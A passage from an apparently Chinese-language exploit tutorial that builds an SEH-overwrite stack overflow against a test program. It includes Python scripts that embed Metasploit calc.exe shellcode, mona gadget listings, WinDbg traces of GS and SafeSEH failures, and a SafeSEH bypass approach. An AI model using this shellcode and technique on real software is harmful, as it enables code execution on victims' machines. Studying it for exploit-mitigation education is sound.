0x773ee9d3 | 0x773ee9d3 (b+0x000ce9d3) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x74bdd75d | 0x74bdd75d (b+0x0003d75d) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17651 (C:\Windows\syswow64\kernel32.dll)
0x74bdd916 | 0x74bdd916 (b+0x0003d916) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17651 (C:\Windows\syswow64\kernel32.dll)
0x7735277b | 0x7735277b (b+0x0003277b) : pop ebp # pop ebx # retn 14h | asciiprint,ascii {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7739bdef | 0x7739bdef (b+0x0007bdef) : pop edi # pop ebx # retn 10h | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x77352b3e | 0x77352b3e (b+0x00032b3e) : pop ebx # pop ebp # retn 10h | asciiprint,ascii {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7735aa59 | 0x7735aa59 (b+0x0003aa59) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7735f761 | 0x7735f761 (b+0x0003f761) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open c:\mona\test_x86_wo_safeseh_dep\findwild.txt...
Found a total of 1090 pointers
这里,我们直接使用第一个搜索到的指令地址,构建下面的Python脚本,快速生成msg.dat文件。
import struct
output = r'msg.dat'
# ntdll.dll
ntdll = 0x77320000
# windows/exec - 193 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
with open(output, 'wb') as f:
shellcode = buf
jmp_code = struct.pack('
用生成好的msg.dat文件调试,会发现这样的msg.dat,会导致异常,而这个异常是由于stack security checking导致的。
0:000> bp test_x86_wo_safeseh_dep+10E7
*** WARNING: Unable to verify checksum for test_x86_wo_safeseh_dep.exe
0:000> bl
0 e 012a10e7 0001 (0001) 0:**** test_x86_wo_safeseh_dep!main+0xe7
0:000> u test_x86_wo_safeseh_dep+10E7 l1
test_x86_wo_safeseh_dep!main+0xe7 [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]:
012a10e7 ff1598202a01 call dword ptr [test_x86_wo_safeseh_dep!_imp__fread (012a2098)]
0:000> g
Breakpoint 0 hit
eax=0017fafc ebx=73837060 ecx=000000c8 edx=0020dd78 esi=000000c8 edi=00000000
eip=012a10e7 esp=0017fadc ebp=0017fb20 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
test_x86_wo_safeseh_dep!main+0xe7:
012a10e7 ff1598202a01 call dword ptr [test_x86_wo_safeseh_dep!_imp__fread (012a2098)] ds:002b:012a2098={MSVCR110!fread (737888fc)}
0:000> p
eax=000000c8 ebx=73837060 ecx=737888dc edx=00000000 esi=000000c8 edi=00000000
eip=012a10ed esp=0017fadc ebp=0017fb20 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
test_x86_wo_safeseh_dep!main+0xed:
012a10ed 8b45d8 mov eax,dword ptr [ebp-28h] ss:002b:0017faf8=0000011d
0:000> dd esp l200
0017fadc 0017fafc 00000001 000000c8 73837060
0017faec 00000000 00000000 00000001 0000011d
0017fafc 61616161 61616161 61616161 61616161
0017fb0c 61616161 61616161 61616161 61616161
0017fb1c 61616161 61616161 61616161 61616161
0017fb2c 61616161 61616161 61616161 61616161
0017fb3c 61616161 61616161 61616161 61616161
0017fb4c 61616161 eb069090 7735fd82 0082e8fc
0017fb5c 89600000 64c031e5 8b30508b 528b0c52
0017fb6c 28728b14 264ab70f 3cacff31 2c027c61
0017fb7c 0dcfc120 f2e2c701 528b5752 3c4a8b10
0017fb8c 78114c8b d10148e3 20598b51 498bd301
0017fb9c 493ae318 018b348b acff31d6 010dcfc1
0017fbac 75e038c7 f87d03f6 75247d3b 588b58e4
0017fbbc 66d30124 8b4b0c8b 00000000 00000000
0017fbcc 012a13a2 7efde000 00000000 00000000
0017fbdc 00000000 00000000 00000000 00000000
...
0017ffcc 00000000 00000000 00000000 00000000
0017ffdc 00000000 00000000 00000000 00000000
0017ffec 00000000 00000000 00000000 00000000
0:000> ba e1 0017fb4c+8
0:000> bl
0 e 012a10e7 0001 (0001) 0:**** test_x86_wo_safeseh_dep!main+0xe7
1 e 0017fb54 e 1 0001 (0001) 0:****
0:000> g
Breakpoint 0 hit
eax=0017fbc4 ebx=73837060 ecx=000000c8 edx=00000000 esi=00000055 edi=000000c8
eip=012a10e7 esp=0017fadc ebp=0017fb20 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
test_x86_wo_safeseh_dep!main+0xe7:
012a10e7 ff1598202a01 call dword ptr [test_x86_wo_safeseh_dep!_imp__fread (012a2098)] ds:002b:012a2098={MSVCR110!fread (737888fc)}
0:000> g
STATUS_STACK_BUFFER_OVERRUN encountered
(4cc.b20): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=012a2108 ecx=74bf01b8 edx=0017f4e1 esi=00000000 edi=00000000
eip=74beff99 esp=0017f728 ebp=0017f7a4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
74beff99 cc int 3
0:000> k
ChildEBP RetAddr
0017f7a4 738100f1 kernel32!UnhandledExceptionFilter+0x5f
0017f7b0 012a13c9 MSVCR110!__crtUnhandledException+0x14
0017f7c0 012a14e0 test_x86_wo_safeseh_dep!__raise_securityfailure+0x1d [f:\dd\vctools\crt_bld\self_x86\crt\src\gs_report.c @ 79]
0017faf0 012a1126 test_x86_wo_safeseh_dep!__report_gsfailure+0xf7 [f:\dd\vctools\crt_bld\self_x86\crt\src\gs_report.c @ 235]
0017fb20 61616161 test_x86_wo_safeseh_dep!main+0x126 [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 30]
原因是由于这次生成的msg.dat没有在stack security checking之前,触发异常。
重新修改python脚本,如下:
import struct
output = r'msg.dat'
# ntdll.dll
ntdll = 0x77320000
# windows/exec - 193 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
with open(output, 'wb') as f:
shellcode = buf
jmp_code = "\xeb\x06\x90\x90"
addr_pop_pop_ret = struct.pack('
调试以后,发现依然会出现exception,而这个异常会在触发完第一个异常处理函数之后,在第二个异常处理之前产生。而此时,相应的exception handler已经被成功覆写。
0:000> !exchain
0046f880: MSVCR110!_except_handler4+0 (7378a6e0)
CRT scope 0, func: MSVCR110!fread_s+83 (737c1cfc)
0046f928: ntdll!RtlpCreateLowFragHeap+2a (7735fd82)
Invalid exception stack at eb069090
0:000> bp 7378a6e0
0:000> bp 7735fd82
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=7378a6e0 edx=7737b46d esi=00000000 edi=00000000
eip=7378a6e0 esp=0046f258 ebp=0046f278 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSVCR110!_except_handler4:
7378a6e0 55 push ebp
0:000> g
(af0.b80): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=0046f340 ecx=00000029 edx=00000000 esi=008d85b4 edi=00470000
eip=773415de esp=0046f32c ebp=0046f814 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtRaiseException+0x12:
773415de 83c404 add esp,4
0:000> g
(af0.b80): Unknown exception - code 00000000 (first chance)
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=7378a6e0 edx=7737b46d esi=00000000 edi=00000000
eip=7378a6e0 esp=0046ed90 ebp=0046edb0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSVCR110!_except_handler4:
7378a6e0 55 push ebp
0:000> g
(af0.b80): Unknown exception - code 00000000 (!!! second chance !!!)
eax=00000000 ebx=0046ee78 ecx=d4840000 edx=0028dde8 esi=008d85b4 edi=00470000
eip=773415de esp=0046ee64 ebp=0046f814 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtRaiseException+0x12:
773415de 83c404 add esp,4
这种情况的原因是由于我们使用的POP,POP,RET是NTDLL中的地址,而NTDLL已经开启了SAFESEH,从而导致,我们覆写的exception handler会触发异常。
0:000> !py mona modules
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
0x75500000 | 0x75546000 | 0x00046000 | False | True | True | True | True | 6.1.7601.17651 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
0x77320000 | 0x774a0000 | 0x00180000 | False | True | True | True | True | 6.1.7601.17725 [ntdll.dll] (ntdll.dll)
0x74ba0000 | 0x74cb0000 | 0x00110000 | False | True | True | True | True | 6.1.7601.17651 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
0x00010000 | 0x00016000 | 0x00006000 | False | False | True | False | False | -1.0- [test_x86_wo_safeseh_dep.exe] (test_x86_wo_safeseh_dep.exe)
0x73770000 | 0x73846000 | 0x000d6000 | False | True | True | True | True | 11.0.51106.1 [MSVCR110.dll] (C:\Windows\SysWOW64\MSVCR110.dll)
----------------------------------------------------------------------------------------------------------------------------------
绕过SAFESEH,最简单的方式,就是找一个没有开启SAFESEH的module,从中寻找相应的指令。因为前面我们禁用了可执行程序的/SAFESEH,另外,由于当前的程序开启了ASLR,所以,程序每次启动都会改变基址,这样,我们准备的msg.dat就会失效,所以,为了简单说明问题,程序启动之初,在加载msg.dat之前,我们先查看相应的基址,并修改相应的脚本生成适当的msg.dat。关于绕过ASLR的方式,后续我们会在其他篇幅单独介绍。